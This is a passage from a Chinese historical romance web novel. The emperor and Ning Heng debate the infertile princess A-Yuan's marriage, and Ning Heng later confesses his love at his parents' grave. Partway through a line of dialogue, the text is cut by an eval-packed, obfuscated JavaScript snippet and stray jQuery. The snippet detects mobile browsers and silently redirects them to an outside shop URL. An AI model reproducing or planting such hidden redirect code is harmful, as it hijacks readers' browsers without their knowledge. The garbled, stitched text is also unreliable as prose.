“什么?!”
段璟霍然从龙椅上站起身,头一回失去了以往所有的冷静与镇定,目光死死地盯着下首不闪不避直面着他的青年。
“陛下也知,当初阿沅在胎中就受到了毒害,一出生便百病缠身。”
宁珩的声线平稳,眉目却显得有几分沉郁,将一切娓娓道来:“那时草民父母不知内情,只以为是阿沅生就体弱,只得细心照料,盼有起色,然而她长至六岁,仍然不见好转。”
“母亲有一旧友,是民间游医,医术高明,后经其诊断,方知阿沅是受了毒害。”
他深吸一口气,闭了闭眼,才道:“他苦心研究多年,终于找到了根治阿沅病症的法子,历经千辛方拔除了她体内余毒。”
“奈何她受荼毒的时日已深,纵是毒素完全清除,身体恢复得与寻常人无异,然体内元气已无法回转,内里亏损,再难有孕。”
萧平旌离去前,曾遣散所有人单独与他夜话,说的便是此事。
当今世道虽对女子宽容了些,不再将其只拘于内院后宅,然传家接代、绵延子嗣乃是上至豪族权贵、下至平民百姓的共识,若妻子难以生育,下场不是被夫家休弃,便是被逼不得不与旁人共享心爱之人。
他又如何肯让阿沅忍受这等苦楚?
宁珩没再去看段璟的神情,只将埋藏在他心中许久的话全数倾泻而出。
“纵使阿沅贵为公主,有陛下在上施压,三年两载无所出倒也无妨,但您能担保,五年、十年之后,驸马不会生出异心,在暗地里弄出个外室子来?”
段璟听他说了许久,终是忍不住反驳了一句:“他们都不能,难道你就能接受宁家香火断绝,只一心一意爱护昭昭,一辈子不生贰心?”
宁珩毫不犹豫道:“我能。”
他答得干脆利落,几乎是段璟问的话刚出口,他根本不需要多加思考,就能坚定地给出答案。
段璟望着他深肃而坚毅的神情,一时失语。
“世间情爱,左不过由贪恋皮囊而生,少有几个因性情相合而生情的,往往年岁一长,便失了初心。”
“阿沅年少貌美,兼得陛下宠爱,自是无数男儿的梦中情主。然一朝年老色衰,或是失了陛下的宠爱,那时再赌对方的品性,便是为时已晚。”
段璟想要辩驳两句,宁珩却没给他开口的机会:“草民不敢说自身品行有多高洁,甚至也清楚自己是个多卑劣的人,这世间唯只在乎她一人,旁的人就算死在眼前,也同我没有分毫干系。”
“阿沅于我重逾生命,幼时至今,我都从无娶妻生子的念头,只想与她相伴一生,无论以何种身份。”
“后来我心生妄念,也曾惧怕退缩,只恐一朝暴露惹她厌恶。如今她既也对我有半分情谊,我便不可能再将她拱手让与他人,非是只为我一人之私心,也是免于她有朝一日遭受旁人磋磨。”
宁珩心知接下去的话可能会引得对方暴怒,然而还是不管不顾地说了下去——
“陛下宠爱她,无非是看重阿沅公主的身份。草民说句不好听的,若她并非先太后之女,您还会如今日这般待她吗?”
段璟第一回被个初出茅庐的小子给说得哑口无言,徒劳地张口想要为自己争辩些什么,又无力地咽了回去。
然而宁珩却还没有说完,他平静地注视着段璟,轻声道:
“我爱的,只是她,无关乎任何外物。”
“不论她是公主,是贩夫走卒的女儿,亦或是无父无母的孤女,只要是她,皆是我心之所向。”
……
等宁珩出了殿门许久,段璟才后知后觉地回过味来。
什么叫他只是看在昭昭的身份上才宠爱她?!
昭昭就是昭昭,她本身就是他的妹妹,再没有半分旁的可能性,假设这些个乱七八糟的有什么意义?
然而那诡辩的臭小子已经走远了,段璟只能恨恨地锤了锤案桌,暗自后悔。
不过……他说得倒是也有几分道理……
他眉头微蹙,神色渐渐凝重。
那帮子世家豪族虽碍于他的面子,不敢轻视昭昭,但暗地里做些什么,饶是他贵为天子,也不能尽在掌握,后宅里的那些个阴私,没有人比他体会得更深了。
他要为昭昭选婿,这选中之人往后自然只能娶她一人,再不能与旁的女子有半分干系,不然昭昭该会如何伤心难过?
但以她的身子……宁珩那小子话说得也没错,世人皆看重家族传承,若昭昭无法孕育,便是他,也不能压着驸马不另纳妾,招致天下人非议。
况且有一点,连他也不得不承认——宁家这小子待妹妹的心,的确是上天入地头一份。
昭昭于他而言,不仅是心慕之人,更是他在这世上最后也是唯一的亲人,就算将来他对昭昭失了男女之情,也绝不会让他受半分委屈。
如此看来,这臭小子倒真是最合适的人选。
然而真要遂了他的心意,段璟还真有些气不过——这人不仅抢了他的身份当了昭昭这么多年的假兄长,竟还要陪伴她走过往后数十年岁月,如何不让他心生妒意?
但若事涉昭昭往后平安喜乐,他这点小心思就算不得什么,对她好才是最重要的。
段璟一时竟真犯起难来,心里已为宁珩折服了些许,然而还是想再垂死挣扎一番。
左右现在还不着急,待他招徕天下名医为昭昭诊治,说不定就有能人异士有办法治好她呢?
***
那日过后,段昭也不知这两人秘谈了些什么,段璟竟又把自由出入宫闱的权利重新交给了宁珩,连他想要带自己去梧州拜祭父母,段璟犹豫了片刻,最终也还是答应了。
上路前,段璟还殷殷叮嘱她:“好好照顾自己,别让旁人占了便宜去,知道吗?”
段昭耳尖微红,羞赧地推了他一把:“阿兄说什么呢?明面上有龙骧卫,暗地里还有暗卫,哪里有人能欺负到我头上!”
段璟不赞同地皱了皱眉,瞟了眼候在马车旁长身玉立的青年身影,意有所指道:“那可说不准,这世上多得是想吃龙肝凤髓之人!”
“好了,有沐烟跟在你身边,我放心。”他仔细拉了拉少女大氅的领口,面露不舍,“天色不早了,再晚恐要落雪,你们便早些出发罢!”
段昭在他的搀扶下钻进马车,望着城门处段璟的身影越变越小,一时竟真有些惆怅起来。
“过不了多久就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328386|195482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能回来了,阿沅不必伤心。”清朗的男声在车厢里响起。
段昭被他唬了一跳,转过头惊讶道:“哥哥你怎么在这?方才你不是上了后头那辆马车吗?”
宁珩弯唇冲她一笑:“我估摸着陛下快看不到我们了,就从后面钻过来了。”
“……”段昭略有些无言,但也不好多说些什么,转而问起了另一件事:“爹娘的陵墓为何在梧州?先前你都未曾与我提过。”
宁珩眼眸微深,复杂地望着她懵懂的样子,没有直言。
“……到时,你就知道了。”
寒风凛冽,刮过山林时掀起一阵阵鬼哭般的呼啸声,令本就幽冷的密林更添了丝怖诡。
段昭怔怔地望着身前一方墓碑上有些陌生的名字——“宁婉愉”,而不是她所熟悉的“宁逾晚”。
“这才是母亲本来的名字。”宁珩轻声道,“母亲自幼在梧州长大,后因逃难才到了怀宁。”
他将过往一切细细道来,从永平年间宁家遭受的迫害,到褚延明上书,先太后重查旧案为宁家昭雪,再到宁婉愉生前留给他最后的话。
“母亲盼了一辈子,都想重回故土,哪怕生前不能,死后也定要葬回父母身边……你上京时,我折道梧州,就是为了完成她的遗愿。”
段昭半跪在地,伸手轻轻抚过墓碑上镌痕深深的“宁”字,泪水如珠串般骨碌碌坠在湿润的黄土上,很快消失不见。
“为何……这些,你们都从未与我提过?”
宁珩宽大的指掌覆上她被寒风吹得僵冷的手指,握在手中为她暖热,叹息道:“你那时年纪小,又病弱,母亲不忍让你背负这么沉重的东西,她只希望你一辈子过得快快乐乐的。”
“那你呢!你背负着它们这么久,难道也不会累吗?!”段昭一下转过头,泪眼朦胧,仍旧倔强而执拗地望着他。
她的眼里,是掩不住的心疼。
宁珩心中蓦地一软,没有想过她在得知一切的第一反应,居然会是怜惜他。
“这些于我而言,曾经也是痛苦难捱的。”他拉过少女肩边被风吹开一角的狐绒毛领,语声自然,“但你出现了,它们就再也不能让我害怕分毫。”
“若说这些是遇见你前所必须忍受的磨难,我……心甘情愿。”
幼时阴晴不定、时刻逼着他读书的母亲,和向来一言不发,只听母亲之令操练他武艺的父亲,都在眼前这双蒙着水雾却依然不掩灼灼光亮的眼眸中模糊了面容。
宁珩笑了笑,抬手抹去她眼下晶莹的泪珠,调侃道:“我倒是很高兴……能成为这世上与你牵绊最深之人。”
“我爹娘把你捡回了家,你母亲又替我娘完成了遗愿,洗清冤屈……”
“这么说起来,阿沅也算是我恩人之女了。”他笑得随性而洒脱,凝望着段昭的眼眸却是那样的认真,像是毫无杂质的黑曜石一般纯粹。
“不知你可愿意,让我以身相许,报答恩情?”
他敛了笑色,在旷朗的天地中,在至亲长辈的见证下,向她诉说出埋藏在心底最深处的那句话。
“我心悦于你。”
“我想一辈子陪在你身边,不再是哥哥,而是……以夫君的身份。”